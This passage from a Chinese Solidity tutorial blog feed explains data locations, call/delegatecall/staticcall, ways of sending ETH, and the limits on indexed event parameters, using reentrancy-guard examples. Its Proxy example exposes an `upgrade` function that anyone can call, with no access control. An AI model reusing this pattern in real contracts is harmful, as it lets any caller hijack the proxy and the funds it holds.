<p><code>memory</code> 数组一旦建好，大小就固定了，想加元素？得重新建个大的，再把老数据抄过去，有点麻烦：</p>
<pre><code class="language-solidity">function resizeArray() public pure returns (uint[] memory) {
    // 初始数组
    uint[] memory array = new uint[](2);
    array[0] = 10;
    array[1] = 20;

    // 创建更大的数组
    uint[] memory newArray = new uint[](3);
    for(uint i = 0; i &#x3C; array.length; i++) {
        newArray[i] = array[i];
    }
    newArray[2] = 30;

    return newArray;
}

</code></pre>
<h2>📥 Calldata：函数的“快递包裹”</h2>
<h3>什么是calldata？</h3>
<p><code>calldata</code>是一个特殊的数据位置，它包含了调用智能合约函数时传入的所有数据。这是一个只读区域，不能被修改，但访问成本非常低。</p>
<p><code>calldata</code> 是函数的“快递包裹”，里面装着调用者送来的数据，只能看不能改（存放在一个特殊的只读区域），但访问超便宜，gas费很低。</p>
<h3>特点</h3>
<ol>
<li><strong>只读</strong>：calldata中的数据不能被修改</li>
<li><strong>低gas成本</strong>：不需要将数据复制到memory，直接使用</li>
<li><strong>专属外部函数</strong>：只能用在 <code>external</code> 函数参数。</li>
</ol>
<h3>举个栗子 🌰</h3>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract CalldataExample {
    // 使用calldata处理大型数组参数
    function sumArray(uint256[] calldata values) external pure returns (uint256) {
        uint256 sum = 0;
        for(uint i = 0; i &#x3C; values.length; i++) {
            sum += values[i];
            // values[i] = 0; // 错误！calldata是只读的
        }
        return sum;
    }
}

</code></pre>
<h3>适用场景</h3>
<ul>
<li>外部函数的数组/字符串参数</li>
<li>大型只读输入数据</li>
<li>需要转发给其他函数的数据</li>
<li>gas优化场景</li>
</ul>
<h3>使用技巧</h3>
<p><code>calldata</code> 还能切片，直接用，不用拷到 <code>memory</code>，不消耗额外 gas，非常适合处理大型输入数据：</p>
<pre><code class="language-solidity">function processSlice(uint[] calldata data, uint start, uint end) external pure returns (uint) {
    // 直接对calldata进行切片，非常高效
    uint[] calldata slice = data[start:end];

    uint sum = 0;
    for(uint i = 0; i &#x3C; slice.length; i++) {
        sum += slice[i];
    }
    return sum;
}

</code></pre>
<h2>🔄 Transient：交易内临时存储</h2>
<h3>什么是transient？</h3>
<p><code>transient</code> 是 Solidity 0.8.28 后的“新宠”（EIP-1153，对应的操作码是TSTORE / TLOAD），专门为交易内临时数据设计。gas 费比 <code>storage</code> 便宜多了，交易一结束，数据自动消失，干净利落。</p>
<h3>特点</h3>
<ol>
<li><strong>交易周期</strong>：数据只在同一交易内有效，交易结束就清空</li>
<li><strong>合约作用域</strong>：可在合约内的任何函数间共享</li>
<li><strong>低gas成本</strong>：比storage便宜，适合频繁修改的数据</li>
<li><strong>可修改</strong>：可以随意读写</li>
</ol>
<h3>举个栗子 🌰</h3>
<p>防重入锁是个经典场景，用 <code>transient</code> 超划算：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract TransientExample {
    // 使用 storage 变量，首次写入约 20000 gas，更新约 5000 gas

    bool transient _locked; // transient 变量，交易结束自动清零
    mapping(address => uint256) public balances;

    modifier nonReentrant() {
        require(!_locked, "ReentrancyGuard: reentrant call");
        _locked = true; // 写 transient，便宜
        _;
        _locked = false; // 再写一次，还是便宜
    }

    function withdraw() external payable nonReentrant {
        uint256 amount = balances[msg.sender];
        if (amount > 0) {
            balances[msg.sender] = 0;
            (bool success, ) = msg.sender.call{value: amount}("");
            require(success, "Transfer failed");
        }
    }
}

</code></pre>
<h3>适用场景</h3>
<ul>
<li>防重入锁（超实用）</li>
<li>交易内的计数器、中间状态</li>
<li>多个函数间共享但不用永久保存的数据</li>
</ul>
<h2>🌲 如何选择存储位置？</h2>
<p>如何为你的数据选择正确的存储位置？以下是我的判断方法：</p>
<ol>
<li><strong>数据要永久保存吗？</strong>
<ul>
<li>是 → 用 <code>storage</code></li>
<li>否 → 继续</li>
</ul>
</li>
<li><strong>要在交易内多个函数间共享吗？</strong>
<ul>
<li>是 → 用 <code>transient storage</code></li>
<li>否 → 继续</li>
</ul>
</li>
<li><strong>是外部函数参数且不改动？</strong>
<ul>
<li>是 → 用 <code>calldata</code></li>
<li>否 → 用 <code>memory</code></li>
</ul>
</li>
</ol>
<h2>⚠️ 几个常见的“坑”</h2>
<h3>1. storage指针的“坑”</h3>
<pre><code class="language-solidity">uint[] storageArray;
function buggy() public {
    uint[] storage myArray = storageArray; // 直接指向 storage
    myArray[0] = 100; // 改的是 storageArray，容易搞乱
}

</code></pre>
<p><strong>正确做法：</strong> 想临时改，用 <code>memory</code> 副本，别直接碰 <code>storage</code>。</p>
<h3>2. memory数组的“死穴”</h3>
<pre><code class="language-solidity">uint[] memory array = new uint[](5);
array.push(10); // 错！memory 数组不能 push

</code></pre>
<p><strong>解决办法：</strong> 重建新数组，手动抄数据。</p>
<h3>3. transient的“门槛”</h3>
<p>只能在 Solidity 0.8.28+ 用，编译器版本不对就歇菜。</p>
<h2>📝 总结</h2>
<p>看到这里，相信你对solidity的数据存储位置有了清晰的认识：</p>
<ul>
<li><strong>storage</strong>：永久保存在区块链上，但gas成本最高</li>
<li><strong>memory</strong>：函数内临时用用，适合中间计算，但无法跨函数共享</li>
<li><strong>calldata</strong>：外部函数只读参数，最省gas，但不可修改</li>
<li><strong>transient</strong>：交易内临时存储，是storage和memory之间的完美平衡点，特别适合防重入锁和交易内共享状态</li>
</ul>
<p>搞懂这四兄弟，你的合约会更安全、更省钱，面试也能轻松过关！</p>
<p>💬 如果本文对你有所帮助，请帮忙点赞、转发、关注一下，有啥想法，欢迎留言，下篇见！</p>
<p>[图片占位]
加入知识星球，我可以为你提供：</p>
<ol>
<li>Web3开发转型一对一咨询</li>
<li>数字货币投资工具使用新手教学</li>
<li>AI创作教学</li>
</ol>
<p>本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>Solidity</category>
      <pubDate>Sun, 20 Apr 2025 17:05:00 GMT</pubDate>
    </item>
    <item>
      <title>Solidity面试必问：call、delegatecall、staticcall的区别</title>
      <link>https://yangxinmin.com/solidity-call-delegatecall-staticcall</link>
      <guid isPermaLink="true">https://yangxinmin.com/solidity-call-delegatecall-staticcall</guid>
      <description>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch），免费领取我私下整理的“智能合约学习”资料一份，帮你少走弯路！ 说在前面 在solidity开发中，合约间的交互是常见需求，</description>
      <content:encoded><![CDATA[<p><strong>关注我</strong>，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch），<strong>免费领取</strong>我私下整理的“<strong>智能合约学习</strong>”资料一份，帮你少走弯路！</p>
<h2>说在前面</h2>
<p>在solidity开发中，合约间的交互是常见需求，而<code>call</code>、<code>delegatecall</code>和<code>staticcall</code>这三个兄弟函数是实现这种交互的关键方法。</p>
<p>这篇文章，我将带你深入了解这三者的区别和应用场景，这不仅是面试中的高频问题，也是编写安全、高效智能合约的基础技能。掌握它们，能显著提升开发能力。</p>
<h2>👋 三兄弟的区别</h2>
<p>先来个直观的对比（手机屏下可左右滚动查看）：</p>
<table>
<thead>
<tr>
<th>特性</th>
<th>call</th>
<th>delegatecall</th>
<th>staticcall</th>
</tr>
</thead>
<tbody>
<tr>
<td>执行上下文</td>
<td>目标合约</td>
<td>调用者合约</td>
<td>目标合约</td>
</tr>
<tr>
<td>状态修改</td>
<td>修改目标合约</td>
<td>修改调用者合约</td>
<td>不允许修改任何状态</td>
</tr>
<tr>
<td>msg.sender</td>
<td>调用合约地址</td>
<td>保持原值</td>
<td>调用合约地址</td>
</tr>
<tr>
<td>msg.value</td>
<td>可传递ETH</td>
<td>保持原值</td>
<td>不可传递ETH</td>
</tr>
<tr>
<td>适用场景</td>
<td>普通合约交互</td>
<td>代理模式、库调用</td>
<td>安全读取外部数据</td>
</tr>
<tr>
<td>安全风险等级</td>
<td>中等</td>
<td>高</td>
<td>低</td>
</tr>
</tbody>
</table>
<p>表格不是很直观？没关系，我们打个生活中的比方：</p>
<ul>
<li><strong>call</strong>: 就像你打电话给饭店订餐，厨师(目标合约)在饭店厨房(目标环境)做饭，改变的是饭店的食材库存(目标状态)</li>
<li><strong>delegatecall</strong>: 像是你请了饭店厨师到你家做饭，厨师在你家厨房(调用者环境)工作，用的是你家的食材(调用者状态)</li>
<li><strong>staticcall</strong>: 相当于你向饭店咨询菜谱，只是获取信息，不会消耗任何实际食材(不改变状态)</li>
</ul>
<p>话不多说，让我们逐个击破！</p>
<h2>📞 call：常规跨合约调用</h2>
<p><code>call</code>是最常用的合约交互方式，支持调用外部合约并传递ETH。</p>
<h3>基本用法</h3>
<pre><code class="language-solidity">// 基本语法
(bool success, bytes memory data) = target.call{value: amount, gas: gasLimit}(
    abi.encodeWithSignature("function_name(uint256,address)", param1, param2)
);

</code></pre>
<p>这里<code>target</code>是目标合约地址，<code>value</code>指定发送的ETH数量，<code>gas</code>限制调用可用的gas（缺省时，<code>call</code>转发所有可用gas，由调用者的gas限制决定）。函数签名和参数需要通过<code>abi.encodeWithSignature</code>或<code>abi.encodeWithSelector</code>编码。</p>
<h3>举个栗子 🌰</h3>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Caller {
    // 向目标合约发送ETH并调用其deposit函数
    function deposit(address target) external payable returns (bool) {
        (bool success, ) = target.call{value: msg.value}(
            abi.encodeWithSignature("deposit()")
        );
        return success;
    }

    // 调用目标合约的查询函数
    function getBalance(address target, address user) external returns (uint256) {
        (bool success, bytes memory data) = target.call(
            abi.encodeWithSignature("balanceOf(address)", user)
        );

        require(success, "Call failed");
        return abi.decode(data, (uint256));
    }
}

</code></pre>
<h3>call的执行上下文</h3>
<p>当使用<code>call</code>调用另一个合约时：</p>
<ul>
<li>代码在目标合约环境中执行</li>
<li><code>msg.sender</code>变为调用者合约地址</li>
<li>可以通过<code>value</code>参数发送ETH</li>
<li>任何状态变更都会影响目标合约的存储</li>
</ul>
<h3>安全注意事项</h3>
<p>使用<code>call</code>最大的安全隐患是重入攻击。当你向另一合约发送ETH时，会触发其<code>receive</code>或<code>fallback</code>函数，如果目标合约是恶意的，它可能会反过来调用你的合约，导致意外行为。</p>
<p><strong>防范措施</strong>:</p>
<ol>
<li>遵循Checks-Effects-Interactions模式</li>
<li>使用重入锁</li>
<li>限制转发的gas数量</li>
</ol>
<pre><code class="language-solidity">bool private locked;
modifier nonReentrant() {
    require(!locked, "Reentrant call");
    locked = true;
    _;
    locked = false;
}

// 安全的提款示例
function withdraw() external nonReentrant {
    uint amount = balances[msg.sender];

    // 先更新状态(Effects)
    balances[msg.sender] = 0;

    // 后进行外部调用(Interactions)
    (bool success, ) = payable(msg.sender).call{value: amount}("");
    require(success, "Transfer failed");
}

</code></pre>
<p>说完 <code>call</code> 的通用性，我们来看一个更特殊的调用方式——<code>delegatecall</code>，它是合约升级和代理模式的核心。</p>
<h2>🏗️ delegatecall：合约升级的基石</h2>
<p><code>delegatecall</code>是一个更特殊的调用方式，简单地说，它会执行目标合约的代码，但使用当前合约的存储上下文，类似于调用库函数。</p>
<h3>基本语法</h3>
<pre><code class="language-solidity">(bool success, bytes memory data) = target.delegatecall(
    abi.encodeWithSignature("function_name(uint256,address)", param1, param2)
);

</code></pre>
<p>与 <code>call</code> 不同，<code>delegatecall</code> 执行时会完全保留原始交易的上下文，包括 <code>msg.sender</code> 和 <code>msg.value</code>。</p>
<h3>举个栗子 🌰</h3>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

// 代理合约
contract Proxy {
    address public implAddress;  // 逻辑合约地址
    uint256 public x;            // 与逻辑合约共享的存储布局

    constructor(address _impl) {
        implAddress = _impl;
    }

    // 更新逻辑合约地址
    function upgrade(address newImpl) external {
        implAddress = newImpl;
    }

    // 将所有调用委托给逻辑合约
    fallback() external payable {
        address impl = implAddress;
        require(impl != address(0), "Impl not set");

        // 使用 Yul 汇编实现高效的 delegatecall 调用
        assembly {
            // 复制调用数据
            calldatacopy(0, 0, calldatasize())

            // 通过delegatecall执行
            let success := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)

            // 复制返回数据
            returndatacopy(0, 0, returndatasize())

            // 返回结果
            switch success
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }
}

// 逻辑合约V1
contract LogicV1 {
    uint256 public x;

    function setX(uint256 _x) external {
        x = _x;
    }
}

// 逻辑合约V2 - 带有额外功能（假设需求升级）
contract LogicV2 {
    uint256 public x;

    function setX(uint256 _x) external {
        x = _x * 2;  // 新逻辑：设置2倍的值
    }

    function increaseX() external {
        x += 1;
    }
}

</code></pre>
<p><strong>在Remix中部署测试步骤：</strong></p>
<ol>
<li><strong>部署顺序</strong>：
<ul>
<li>先部署LogicV1合约</li>
<li>复制LogicV1的地址</li>
<li>部署Proxy合约，在构造函数中传入LogicV1的地址</li>
<li><strong>验证</strong> Proxy合约的implAddress是否正确指向LogicV1</li>
</ul>
</li>
<li><strong>使用At Address正确操作</strong>：
<ul>
<li><strong>重要</strong>：在Remix左侧选择LogicV1合约（不是Proxy）</li>
<li>在"At Address"字段中输入Proxy的地址</li>
<li>点击"At Address"按钮，这会创建一个使用LogicV1 ABI但指向Proxy地址的实例</li>
</ul>
</li>
<li><strong>验证环境</strong>：
<ul>
<li>检查生成的合约实例标签，应该显示为"LogicV1 at 0x...Proxy地址"</li>
<li>这个实例应该显示LogicV1的所有接口（包括setX和x）</li>
</ul>
</li>
<li><strong>调用测试</strong>：
<ul>
<li>通过该实例调用<code>setX(123)</code></li>
<li>然后通过该实例调用x()查看值</li>
</ul>
</li>
</ol>
<blockquote>
<p>小贴士：确保 LogicV1 和 LogicV2 的存储布局一致，否则调用可能失败。</p>
</blockquote>
<h3>delegatecall的执行上下文</h3>
<p>当使用<code>delegatecall</code>调用另一个合约时：</p>
<ul>
<li>代码从目标合约获取，但在当前合约环境中执行</li>
<li><code>msg.sender</code>和<code>msg.value</code>保持原值</li>
<li>所有状态变更都发生在调用者合约的存储中</li>
<li>调用者和目标合约必须有兼容的存储布局</li>
</ul>
<h3>安全注意事项</h3>
<p>使用<code>delegatecall</code>时，需确保调用者和目标合约的存储布局一致，否则可能导致数据混乱。推荐使用OpenZeppelin的<code>Proxy</code>库或<code>EIP-1967</code>标准（确定性存储槽）。</p>
<p><strong>例如</strong>:</p>
<pre><code class="language-solidity">contract A {
    address public owner;  // 存储槽0
    uint256 public value;  // 存储槽1
}

contract B {
    uint256 public value;  // 存储槽0
    address public owner;  // 存储槽1
}

</code></pre>
<p>如果A通过<code>delegatecall</code>调用B的函数修改<code>value</code>，实际上会修改A的<code>owner</code>！这种错误可能让合约逻辑崩盘，资金都可能锁死！</p>
<h2>🔒 staticcall：安全的只读调用</h2>
<p><code>staticcall</code>是三兄弟中最年轻的成员(Byzantium硬分叉引入)，专为只读查询设计，不允许修改状态。</p>
<h3>基本语法</h3>
<pre><code class="language-solidity">(bool success, bytes memory data) = target.staticcall(
    abi.encodeWithSignature("function_name(uint256)", param)
);

</code></pre>
<h3>举个栗子 🌰</h3>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract PriceConsumer {
    // 安全查询外部价格
    function getTokenPrice(address oracle, address token) external view returns (uint256) {
        (bool success, bytes memory data) = oracle.staticcall(
            abi.encodeWithSignature("getPrice(address)", token)
        );

        require(success, "Oracle call failed");
        return abi.decode(data, (uint256));
    }
}

</code></pre>
<p>通过 <code>staticcall</code>，我们可以安全查询外部数据，避免任何状态修改风险。</p>
<h3>staticcall的执行上下文</h3>
<p>当使用<code>staticcall</code>调用另一个合约时：</p>
<ul>
<li>代码在目标合约环境中执行</li>
<li><code>msg.sender</code>变为调用者合约地址</li>
<li>不能发送ETH</li>
<li>任何尝试修改状态的操作都会导致交易回滚</li>
</ul>
<h3>适用场景</h3>
<p><code>staticcall</code>在以下场景特别有用：</p>
<ul>
<li>安全查询外部数据源(如预言机)</li>
<li>查询外部数据（如预言机）</li>
<li>避免重入风险</li>
</ul>
<h2>🤔 如何选择调用方式？</h2>
<ul>
<li>常规交互或发送ETH：使用<code>call</code>。</li>
<li>代理模式或库调用：使用<code>delegatecall</code>。</li>
<li>只读查询外部数据：使用<code>staticcall</code>。</li>
</ul>
<h2>📝 总结</h2>
<p>在实际开发中，个人建议：</p>
<ol>
<li><strong>默认使用高级接口</strong>：除非有特殊需求，优先使用编译器生成的接口调用(如<code>Interface(address).function()</code>)</li>
<li><strong>谨慎使用delegatecall</strong>：除非实现代理模式或特殊库调用</li>
<li><strong>优先使用staticcall进行查询</strong>：特别是与不受信任的合约交互时</li>
<li><strong>始终检查返回值</strong>：每次低级调用后验证成功状态</li>
<li><strong>注意gas限制</strong>：特别是在循环中进行调用时</li>
</ol>
<p>面试常考 <code>delegatecall</code> 的存储布局和 <code>call</code> 的重入防护。理解它们的区别与应用场景，让你写合约更稳，面试也能轻松过关！</p>
<p>💬 如果本文对你有所帮助，请帮忙点赞、转发、关注一下，有啥想法，欢迎留言，下篇见！</p>
<p>[图片占位]
加入知识星球，我可以为你提供：</p>
<ol>
<li>Web3开发转型一对一咨询</li>
<li>数字货币投资工具使用新手教学</li>
<li>AI创作教学</li>
</ol>
<p>本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>Solidity</category>
      <pubDate>Sun, 20 Apr 2025 10:10:23 GMT</pubDate>
    </item>
    <item>
      <title>Solidity面试必备：transfer、send、call的区别</title>
      <link>https://yangxinmin.com/solidity-transfer-send-call</link>
      <guid isPermaLink="true">https://yangxinmin.com/solidity-transfer-send-call</guid>
      <description>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch），免费领取我私下整理的“智能合约学习”资料一份，帮你少走弯路！ 说在前面 在Solidit开发中，ETH 转账是一项基础却至</description>
      <content:encoded><![CDATA[<p><strong>关注我</strong>，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch），<strong>免费领取</strong>我私下整理的“<strong>智能合约学习</strong>”资料一份，帮你少走弯路！</p>
<h2>说在前面</h2>
<p>在Solidit开发中，ETH 转账是一项基础却至关重要的操作。方法选错了，可能导致合约资金被锁，甚至埋下安全隐患。<code>transfer</code>、<code>send</code> 和 <code>call</code> 是转账的三大核心方法，掌握它们的区别，不仅能让你写出安全高效的代码，还能在面试中游刃有余地应对问题！😎</p>
<p>这篇文章，我将带你深入理解这三种方法，帮助你在开发和面试中更进一步。</p>
<h2>🔍 三种方法的区别</h2>
<p>先来个直观的对比（手机屏下可左右滚动查看）：</p>
<table>
<thead>
<tr>
<th>特性</th>
<th>transfer</th>
<th>send</th>
<th>call</th>
</tr>
</thead>
<tbody>
<tr>
<td>语法</td>
<td><code>payable(addr).transfer(amount)</code></td>
<td><code>payable(addr).send(amount)</code></td>
<td><code>payable(addr).call{value: amount}("")</code></td>
</tr>
<tr>
<td>Gas 限制</td>
<td>2300 gas（固定）</td>
<td>2300 gas（固定）</td>
<td>可自定义，默认全部 gas</td>
</tr>
<tr>
<td>返回值</td>
<td>无</td>
<td>bool</td>
<td>(bool, bytes)</td>
</tr>
<tr>
<td>失败处理</td>
<td>自动回滚交易</td>
<td>返回 false，交易继续</td>
<td>返回 false，交易继续</td>
</tr>
<tr>
<td>安全性</td>
<td>较安全但有局限</td>
<td>需手动检查返回值</td>
<td>需防范重入攻击</td>
</tr>
<tr>
<td>当前推荐度</td>
<td>⭐⭐</td>
<td>⭐</td>
<td>⭐⭐⭐⭐⭐</td>
</tr>
</tbody>
</table>
<p>接下来，我带你逐个认识它们。</p>
<h2>📌 transfer：简单但有点“过时”</h2>
<p><code>transfer</code> 是新手最爱用的转账方法，语法简洁明了：</p>
<pre><code class="language-solidity">payable(recipient).transfer(1 ether);

</code></pre>
<h3>特点</h3>
<ol>
<li><strong>固定 gas 限制</strong>：只转发 2300 gas 给接收方，这些 gas 仅够执行简单的记录事件操作</li>
<li><strong>失败就回滚</strong>：如果转账失败（比如接收方合约消耗超过 2300 gas），整个交易会自动回滚</li>
<li><strong>无返回值</strong>：不需要检查返回结果，要么成功，要么回滚</li>
</ol>
<h3>举个栗子 🌰</h3>
<pre><code class="language-solidity">function withdrawWithTransfer() public {
    uint balance = balances[msg.sender];
    require(balance > 0, "No balance to withdraw");

    balances[msg.sender] = 0; // 为避免重入攻击，先更新状态
    payable(msg.sender).transfer(balance); // 如果失败，会回滚上面的状态更新
}

</code></pre>
<p>看起来很安全，对吧？但问题来了：如果接收方是个合约，它的 <code>receive</code> 或 <code>fallback</code> 函数稍微复杂点，超了 2300 gas，转账就挂了，用户压根提不了钱！</p>
<h3>为啥不推荐？</h3>
<p>自从以太坊 Istanbul 硬分叉（EIP-1884）把某些操作的 gas 成本调高后，2300 gas 越来越不够用。很多正常合约的接收逻辑都可能超标，导致 <code>transfer</code> 失败，资金卡在合约里出不来！😱</p>
<h2>🔄 send：transfer的表兄弟</h2>
<p><code>send</code> 与 <code>transfer</code> 非常相似，但有一个关键区别：</p>
<pre><code class="language-solidity">bool success = payable(recipient).send(1 ether);
require(success, "Send failed"); // 需要手动检查结果

</code></pre>
<h3>特点</h3>
<ol>
<li><strong>同样的 2300 gas 限制</strong></li>
<li><strong>返回布尔值</strong>：失败时返回 false 而非回滚</li>
<li><strong>需手动处理失败</strong>：你需要检查返回值并决定如何处理</li>
</ol>
<h3>举个栗子 🌰</h3>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract SendExample {
    mapping(address => uint) public balances;

    function withdrawWithSend() public {
        uint balance = balances[msg.sender];
        require(balance > 0, "No balance to withdraw");

        balances[msg.sender] = 0; // 先更新状态
        bool success = payable(msg.sender).send(balance);
        require(success, "Send failed"); // 手动检查，失败则回滚
    }
}

</code></pre>
<p><code>send</code> 比 <code>transfer</code> 灵活点，但还是受 2300 gas 限制。而且如果忘了检查 <code>success</code>，可能导致“静默失败”，比 <code>transfer</code> 还坑！</p>
<h2>📞 call：“全能王”</h2>
<p><code>call</code> 是现在的主流转账方法，功能强大到没朋友：</p>
<pre><code class="language-solidity">(bool success, bytes memory data) = payable(recipient).call{value: 1 ether}(""); // 空字符串表示仅触发 receive 或 fallback
require(success, "Call failed");

</code></pre>
<h3>特点</h3>
<ol>
<li><strong>无 gas 限制</strong>：默认转发所有剩余 gas，也可以通过 <code>{gas: 50000}</code> 指定</li>
<li><strong>返回双值</strong>：<code>bool</code> 告诉你成功没，<code>bytes</code> 带回数据。</li>
<li><strong>高度灵活</strong>：能适应各种复杂场景</li>
<li><strong>有风险</strong>：得防范重入攻击。</li>
</ol>
<h3>举个栗子 🌰</h3>
<pre><code class="language-solidity">// 防重入锁
bool private locked;

modifier nonReentrant() {
    require(!locked, "Reentrant call");
    locked = true;
    _;
    locked = false;
}

function withdrawWithCall() public nonReentrant {
    uint balance = balances[msg.sender];
    require(balance > 0, "No balance to withdraw");

    // 1. 先更新状态（检查-效果-交互模式）
    balances[msg.sender] = 0;

    // 2. 后进行外部调用
    (bool success, ) = payable(msg.sender).call{value: balance}("");
    require(success, "Transfer failed");
}

</code></pre>
<p>这代码用了两招防坑：</p>
<ol>
<li><strong>防重入锁</strong>：<code>nonReentrant</code> 修饰器，挡住重入攻击。</li>
<li><strong>检查-效果-交互</strong>：先更新状态，后转账</li>
</ol>
<p>有关<code>call</code>的安全问题，可以参考我的文章：<a href="https://mp.weixin.qq.com/s/buVrOP1D_6LKXNEyVu-o6A">聊聊智能合约的重入攻击</a></p>
<h2>🤔 如何选择转账方法？</h2>
<p>凭我的开发经验，以下是一些实用建议：</p>
<ol>
<li><strong>新合约首选call</strong>：结合防重入措施，适应性最强</li>
<li><strong>别用send</strong>： 既有 gas 限制问题，又需手动检查返回值，太麻烦</li>
<li><strong>谨慎用transfer</strong>：除非确定接收方很简单（比如外部账户）</li>
<li><strong>试试Pull Payment模式</strong>：让用户自己提，合约少操心</li>
<li><strong>重要合约用防重入库</strong>：考虑使用 OpenZeppelin 的 <code>ReentrancyGuard</code></li>
</ol>
<h2>📝 总结</h2>
<p>转账操作看似简单，却隐藏着不少挑战：</p>
<ul>
<li><code>transfer</code>：简便易用，但 gas 限制使其不再是首选</li>
<li><code>send</code>：稍显灵活，却需谨慎处理返回值</li>
<li><code>call</code>：功能全面，搭配防重入措施最为可靠</li>
</ul>
<p>掌握这三种方法的特性和场景，是开发安全 DApp 的关键。理解并运用它们，能提升代码质量，并在面试中展现专业能力。在区块链世界，安全永远第一！💪</p>
<p>💬 如果本文对你有所帮助，请帮忙点赞、转发、关注一下，有啥想法，欢迎留言，下篇见！</p>
<p>[图片占位]
加入知识星球，我可以为你提供：</p>
<ol>
<li>Web3开发转型一对一咨询</li>
<li>数字货币投资工具使用新手教学</li>
<li>AI创作教学</li>
</ol>
<p>本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>Solidity</category>
      <pubDate>Sun, 20 Apr 2025 03:20:14 GMT</pubDate>
    </item>
    <item>
      <title>Solidity事件：为什么最多只能有3个indexed参数？</title>
      <link>https://yangxinmin.com/solidity-event-indexed-params</link>
      <guid isPermaLink="true">https://yangxinmin.com/solidity-event-indexed-params</guid>
      <description>说在前面 想象一下，你正在搞一个NFT交易平台，写了个合约来记录交易细节，比如： 写着写着，你可能冒出个想法：能不能再加个indexed参数，比如交易时间？结果发现不行，Solidity直接告诉你：事件最多只能有3个indexed参数。 这是怎么回事呢？别急，这篇文章我将带你搞清楚这个限制的来龙去脉</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
<p>想象一下，你正在搞一个NFT交易平台，写了个合约来记录交易细节，比如：</p>
<pre><code class="language-solidity">event Trade(address indexed seller, address indexed buyer, uint256 indexed tokenId, uint256 price);

</code></pre>
<p>写着写着，你可能冒出个想法：能不能再加个<code>indexed</code>参数，比如交易时间？结果发现不行，Solidity直接告诉你：事件最多只能有3个<code>indexed</code>参数。</p>
<p>这是怎么回事呢？别急，这篇文章我将带你搞清楚这个限制的来龙去脉，顺便分享一些实用的设计技巧，让你的事件系统既高效又好用。</p>
<h2>限制的原因：EVM的日志机制</h2>
<p>这个限制可不是Solidity随便定的，而是来自以太坊底层的设计。</p>
<p>以太坊虚拟机（EVM）用一种叫“日志”的方式来记录事件，每次记录包括：</p>
<ul>
<li><strong>topics</strong>：最多4个32字节的字段。</li>
<li><strong>data</strong>：长度随便的数据部分。</li>
</ul>
<p>这4个topics里：</p>
<ul>
<li>第1个（<code>topic[0]</code>）固定放事件签名的哈希值，比如<code>keccak256("Trade(address,address,uint256,uint256)")</code>。</li>
<li>剩下3个（<code>topic[1]</code>到<code>topic[3]</code>）留给<code>indexed</code>参数用。</li>
</ul>
<p>所以，<code>indexed</code>参数最多就3个。这规则写在EVM的指令里。EVM有5种日志指令：<code>LOG0</code>到<code>LOG4</code>，数字代表topics的数量：</p>
<ul>
<li><code>LOG0</code>：0个topic（比如这样定义匿名事件<code>event Trade() anonymous</code>，这样就没法监听）。</li>
<li><code>LOG1</code>：1个topic（只有事件签名）。</li>
<li><code>LOG2</code>：2个topic（签名 + 1个<code>indexed</code>参数）。</li>
<li><code>LOG3</code>：3个topic（签名 + 2个<code>indexed</code>参数）。</li>
<li><code>LOG4</code>：4个topic（签名 + 3个<code>indexed</code>参数）。</li>
</ul>
<p>Solidity用<code>LOG1</code>到<code>LOG4</code>记录事件，<code>topic[0]</code>占一个，<code>indexed</code>参数就剩3个位置。底层设计就是如此。</p>
<h2>indexed参数的原理</h2>
<p>弄明白限制的来源后，我们再看看<code>indexed</code>参数到底怎么用。</p>
<h3>Topics和Data的区别</h3>
<ul>
<li><strong>Topics</strong>：放<code>indexed</code>参数，方便快速查东西，比如找某个<code>seller</code>的交易。</li>
<li><strong>Data</strong>：放非<code>indexed</code>参数，便宜点，但查起来麻烦。</li>
</ul>
<p>在<code>Trade</code>事件里，<code>seller</code>、<code>buyer</code>和<code>tokenId</code>在topics里，<code>price</code>在data里。</p>
<h3>不同类型的处理</h3>
<ul>
<li><strong>简单类型</strong>（像<code>address</code>、<code>uint256</code>）：直接把值塞进topic。</li>
<li><strong>复杂类型</strong>（像<code>string</code>、<code>bytes</code>）：只存哈希值。比如：</li>
</ul>
<pre><code class="language-solidity">event Log(string indexed message);
emit Log("Hello");

</code></pre>
<p><code>message</code>的topic里存的是<code>keccak256("Hello")</code>，不是"Hello"本身。你可以用哈希值查，但拿不到原字符串。</p>
<h3>Gas成本的取舍</h3>
<p>用<code>indexed</code>参数会多花点Gas，因为topics要写进区块头的Bloom过滤器，方便快速查。非<code>indexed</code>参数存在data里，省钱，但查起来费劲。设计时得想想，哪些参数真值得花这个成本。</p>
<h2>实践中的设计技巧</h2>
<p>原理清楚了，实际开发中怎么对付这个限制呢？</p>
<h3>挑好<code>indexed</code>参数</h3>
<p>优先选那些常用来查的字段：</p>
<ul>
<li>地址（比如用户或合约地址）。</li>
<li>唯一ID（比如<code>tokenId</code>）。</li>
<li>状态标志（比如交易类型）。</li>
</ul>
<p>在<code>Trade</code>事件里，<code>seller</code>、<code>buyer</code>和<code>tokenId</code>就是聪明选择。</p>
<h3>超3个参数怎么办？</h3>
